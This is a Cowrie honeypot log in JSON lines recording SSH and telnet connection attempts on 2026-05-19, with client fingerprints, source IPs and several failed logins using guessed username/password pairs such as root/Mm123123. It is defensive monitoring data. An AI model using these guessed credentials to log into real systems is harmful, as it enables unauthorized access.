{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:04.944938Z","src_ip":"103.149.28.157","session":"821a984d714b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":35724,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac504a0c1b2","protocol":"ssh","message":"New connection: 193.39.208.26:35724 (10.17.0.5:22) [session: 9ac504a0c1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:05.682355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:05.687807Z","src_ip":"193.39.208.26","session":"9ac504a0c1b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789l","message":"login attempt [root/123456789l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:05.703647Z","src_ip":"103.149.28.157","session":"821a984d714b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:05.775883Z","src_ip":"193.39.208.26","session":"9ac504a0c1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47234,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ad14c14b40","protocol":"telnet","message":"New connection: 192.119.13.58:47234 (10.17.0.5:23) [session: 38ad14c14b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:05.881901Z"}
{"eventid":"cowrie.login.failed","username":"marcus","password":"marcus","message":"login attempt [marcus/marcus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:06.139658Z","src_ip":"193.39.208.26","session":"9ac504a0c1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:06.958755Z","src_ip":"103.149.28.157","session":"821a984d714b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:07.226569Z","src_ip":"193.39.208.26","session":"9ac504a0c1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.349508285522461,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:07.231261Z","src_ip":"192.119.13.58","session":"38ad14c14b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37950,"dst_ip":"10.17.0.5","dst_port":23,"session":"1119b673420d","protocol":"telnet","message":"New connection: 192.119.13.58:37950 (10.17.0.5:23) [session: 1119b673420d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:10.547665Z"}
{"eventid":"cowrie.session.closed","duration":44.72845911979675,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:12.039137Z","src_ip":"192.119.13.58","session":"9337c756c317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55728,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a5ba9a07ae8","protocol":"telnet","message":"New connection: 192.119.13.58:55728 (10.17.0.5:23) [session: 4a5ba9a07ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:14.924443Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58544,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f09fb02726e","protocol":"telnet","message":"New connection: 192.119.13.58:58544 (10.17.0.5:23) [session: 8f09fb02726e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:15.601588Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":58036,"dst_ip":"10.17.0.5","dst_port":22,"session":"644ebb40b172","protocol":"ssh","message":"New connection: 49.51.73.108:58036 (10.17.0.5:22) [session: 644ebb40b172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:16.834433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:16.840484Z","src_ip":"49.51.73.108","session":"644ebb40b172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:16.921254Z","src_ip":"49.51.73.108","session":"644ebb40b172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mm123123","message":"login attempt [root/Mm123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:17.228496Z","src_ip":"49.51.73.108","session":"644ebb40b172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:18.300603Z","src_ip":"49.51.73.108","session":"644ebb40b172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37430,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb2cebcfe3aa","protocol":"telnet","message":"New connection: 192.119.13.58:37430 (10.17.0.5:23) [session: fb2cebcfe3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:24.293336Z"}
{"eventid":"cowrie.session.closed","duration":41.683045387268066,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:24.757915Z","src_ip":"192.119.13.58","session":"56a138062f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40048,"dst_ip":"10.17.0.5","dst_port":23,"session":"eea1d506503b","protocol":"telnet","message":"New connection: 192.119.13.58:40048 (10.17.0.5:23) [session: eea1d506503b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:25.906489Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51052,"dst_ip":"10.17.0.5","dst_port":23,"session":"a666f8e928a7","protocol":"telnet","message":"New connection: 192.119.13.58:51052 (10.17.0.5:23) [session: a666f8e928a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:27.511895Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55782,"dst_ip":"10.17.0.5","dst_port":23,"session":"486aa5922cc5","protocol":"telnet","message":"New connection: 192.119.13.58:55782 (10.17.0.5:23) [session: 486aa5922cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:28.622610Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60384,"dst_ip":"10.17.0.5","dst_port":23,"session":"affe3669dbc3","protocol":"telnet","message":"New connection: 192.119.13.58:60384 (10.17.0.5:23) [session: affe3669dbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:29.709905Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":54199,"dst_ip":"159.203.135.109","dst_port":23,"session":"61748f656afc","protocol":"telnet","message":"New connection: 186.195.16.41:54199 (159.203.135.109:23) [session: 61748f656afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:31.632349Z"}
{"eventid":"cowrie.session.closed","duration":38.60274314880371,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:33.722617Z","src_ip":"192.119.13.58","session":"717d10aab1c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51460,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e1856c49ba","protocol":"telnet","message":"New connection: 192.119.13.58:51460 (10.17.0.5:23) [session: f6e1856c49ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:34.305574Z"}
{"eventid":"cowrie.session.closed","duration":40.828457832336426,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:37.651451Z","src_ip":"192.119.13.58","session":"0696bf56e321","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44664,"dst_ip":"10.17.0.5","dst_port":23,"session":"09645bea34f2","protocol":"telnet","message":"New connection: 192.119.13.58:44664 (10.17.0.5:23) [session: 09645bea34f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:39.389360Z"}
{"eventid":"cowrie.session.closed","duration":44.01137924194336,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:40.058684Z","src_ip":"192.119.13.58","session":"d2465b95d47e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.481430530548096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:40.139609Z","src_ip":"192.119.13.58","session":"419893983494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.807889223098755,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:40.546752Z","src_ip":"192.119.13.58","session":"4bb3f18b91ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44310,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a1632ec12fa","protocol":"telnet","message":"New connection: 192.119.13.58:44310 (10.17.0.5:23) [session: 4a1632ec12fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:46.015344Z"}
{"eventid":"cowrie.session.closed","duration":39.2367308139801,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:49.784250Z","src_ip":"192.119.13.58","session":"1119b673420d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.222071170806885,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:51.823529Z","src_ip":"192.119.13.58","session":"8f09fb02726e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.62330937385559,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:52.547633Z","src_ip":"192.119.13.58","session":"4a5ba9a07ae8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54088,"dst_ip":"10.17.0.5","dst_port":23,"session":"41105c8195d5","protocol":"telnet","message":"New connection: 192.119.13.58:54088 (10.17.0.5:23) [session: 41105c8195d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:54.781477Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57258,"dst_ip":"10.17.0.5","dst_port":23,"session":"c265874e2813","protocol":"telnet","message":"New connection: 192.119.13.58:57258 (10.17.0.5:23) [session: c265874e2813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:55.503237Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35064,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9baf4a41bbd","protocol":"telnet","message":"New connection: 192.119.13.58:35064 (10.17.0.5:23) [session: d9baf4a41bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:57.970451Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60600,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db8e52e5af6","protocol":"telnet","message":"New connection: 192.119.13.58:60600 (10.17.0.5:23) [session: 0db8e52e5af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:03.122315Z"}
{"eventid":"cowrie.session.closed","duration":0.00707244873046875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:03.129252Z","src_ip":"192.119.13.58","session":"0db8e52e5af6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.76569080352783,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:05.475466Z","src_ip":"192.119.13.58","session":"affe3669dbc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":60273,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba31e08c79a","protocol":"telnet","message":"New connection: 201.205.247.46:60273 (159.203.135.109:23) [session: 3ba31e08c79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:07.261627Z"}
{"eventid":"cowrie.session.closed","duration":43.121238231658936,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:07.414470Z","src_ip":"192.119.13.58","session":"fb2cebcfe3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57930,"dst_ip":"10.17.0.5","dst_port":23,"session":"901b07510bb1","protocol":"telnet","message":"New connection: 192.119.13.58:57930 (10.17.0.5:23) [session: 901b07510bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:09.365673Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58428,"dst_ip":"10.17.0.5","dst_port":23,"session":"87b6b739a2ba","protocol":"telnet","message":"New connection: 192.119.13.58:58428 (10.17.0.5:23) [session: 87b6b739a2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:09.468661Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":44156,"dst_ip":"10.17.0.5","dst_port":22,"session":"339bcaeea0fe","protocol":"ssh","message":"New connection: 193.39.208.26:44156 (10.17.0.5:22) [session: 339bcaeea0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:09.588674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:09.594051Z","src_ip":"193.39.208.26","session":"339bcaeea0fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:09.677305Z","src_ip":"193.39.208.26","session":"339bcaeea0fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parth","password":"parth","message":"login attempt [parth/parth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:10.043519Z","src_ip":"193.39.208.26","session":"339bcaeea0fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.195769548416138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:10.585047Z","src_ip":"192.119.13.58","session":"09645bea34f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.10902523994446,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:10.620808Z","src_ip":"192.119.13.58","session":"a666f8e928a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:11.131136Z","src_ip":"193.39.208.26","session":"339bcaeea0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49006,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d0fd8bd4de2","protocol":"telnet","message":"New connection: 192.119.13.58:49006 (10.17.0.5:23) [session: 3d0fd8bd4de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:14.063265Z"}
{"eventid":"cowrie.session.closed","duration":47.439173221588135,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:16.061658Z","src_ip":"192.119.13.58","session":"486aa5922cc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41740,"dst_ip":"10.17.0.5","dst_port":23,"session":"831afc82b9dc","protocol":"telnet","message":"New connection: 192.119.13.58:41740 (10.17.0.5:23) [session: 831afc82b9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:19.355842Z"}
{"eventid":"cowrie.session.closed","duration":56.319915771484375,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:22.226136Z","src_ip":"192.119.13.58","session":"eea1d506503b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55490,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d64064ffb6e","protocol":"telnet","message":"New connection: 192.119.13.58:55490 (10.17.0.5:23) [session: 7d64064ffb6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:22.785840Z"}
{"eventid":"cowrie.session.closed","duration":38.979573011398315,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:24.994792Z","src_ip":"192.119.13.58","session":"4a1632ec12fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.936808109283447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:26.718149Z","src_ip":"192.119.13.58","session":"41105c8195d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.86150097846985,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:27.166935Z","src_ip":"192.119.13.58","session":"f6e1856c49ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55218,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ebc55a12e49","protocol":"telnet","message":"New connection: 192.119.13.58:55218 (10.17.0.5:23) [session: 8ebc55a12e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:29.527782Z"}
